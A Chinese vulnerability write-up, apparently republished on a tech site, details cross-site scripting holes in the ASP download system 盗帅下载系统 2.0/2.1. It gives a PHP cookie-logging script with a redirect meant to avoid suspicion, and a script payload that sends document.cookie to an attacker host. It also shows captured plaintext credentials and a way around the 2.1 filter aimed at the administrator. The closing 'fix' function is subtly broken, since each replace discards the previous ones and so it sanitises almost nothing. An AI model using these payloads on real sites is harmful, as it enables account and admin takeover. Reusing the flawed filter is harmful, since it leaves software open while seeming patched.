网站首页/网络技术列表/内容

盗帅下载系统2.0正式版存在多个跨站漏洞

网络技术2023-12-19阅读
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

盗帅下载系统2.0正式版存在多个跨站漏洞前言:
盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的
大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有
跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范。

漏洞描述:
先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且
作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明
这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?如图一:

但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去.
这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下:<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
?>

<script language=vbscript>
document.location="http://www.ad.com/"
</script> 以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件.http://www.ad.com/是起转向功能的,
具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化
或自动关闭窗口来达到隐藏的目的。然后我们只要在网站介绍那里添加:<script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。
不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息:
语法错误 (操作符丢失) 在查询表达式
''script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>'' 中,
呵呵,开始我以为是'把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段: ~~~~~~~~~~省去一部分
conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& strLinTitle &"','"& strLinPic &"',False,'"& now() &"')")
~~~~~~~~~~~~~省去一部分由于使用了insert into所以我们递交语句的时候要记得把单引号'换成2个单引号'',把语句中的单引号替换,递交,成功。
这是我截取到的一部分代码:The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC
The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名.
再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面
中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢?
如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过
贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。 本来文章到这里也应该结束了,我也马上告诉了帝国入侵者漏洞的一些情况,大概是2个星期后他也发布了声称修补
了以前所有漏洞的盗帅2.1版。正巧,我把这篇文章发给安全天使的angel看后,angel也去看了看所谓的2.1版,
发现他们写的补丁程序中过滤并不十分严格(我还以为作者经过我又是举例又是推荐好文章给他看之后,终于明白该怎么
做了哦,汗~~~~)提醒我再去试试,果然2.1版中我们仍然可以跨站来得到用户密码。感谢angel的指导~

我们看代码,2.0的是这样写的:if Request.Form("strLinTitle")<>"" then
strLinTitle=Request.Form("strLinTitle")
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if 2.1是这样写的: if Request.Form("strLinTitle")<>"" then
if instr(Request.Form("strLinTitle"),".cookies")>0 then
MsgErrLink=MsgErrLink&"<li>请勿输入非法字符"
else
strLinTitle=Request.Form("strLinTitle")
end if
else
MsgErrLink=MsgErrLink&"<li>网站介绍不能为空"
end if 再看看 conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& replace(strLinTitle,".cookies","") &"','"& strLinPic &"',False,'"& now() &"')") 看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样
根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句,
而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的
原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道
是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。
而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入一下代码: <script>window.open(''http://localhost/cookie.PHP?''+document.cookie);</script> 点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了,
当管理员进入友情连接的管理页面的时候,COOKIE即被我们获得,如图二:



解决方法:
angel提供了这样的一段代码来过滤特殊字符,可以根据实际情况添加需要过滤的字符: function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","")
checkStr=replace(str,";","")
checkStr=replace(str,"--","")
checkStr=replace(str,"<","&lt")
checkStr=replace(str,">","&gt")
checkStr=replace(str," ","&nbsp")
checkStr=replace(str,"javascript","/javascript")
checkStr=replace(str,"cookie","/cookie")
checkStr=replace(str,"document","/document")
end function 这样才可以比较稳妥的避免类似攻击,这套程序的问题频繁出现和作者的安全意识是分不开的,
所以希望一些ASP程序员在编写程序的时候能够注意一些这样的安全问题,来提高程序的安全性。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。

相关阅读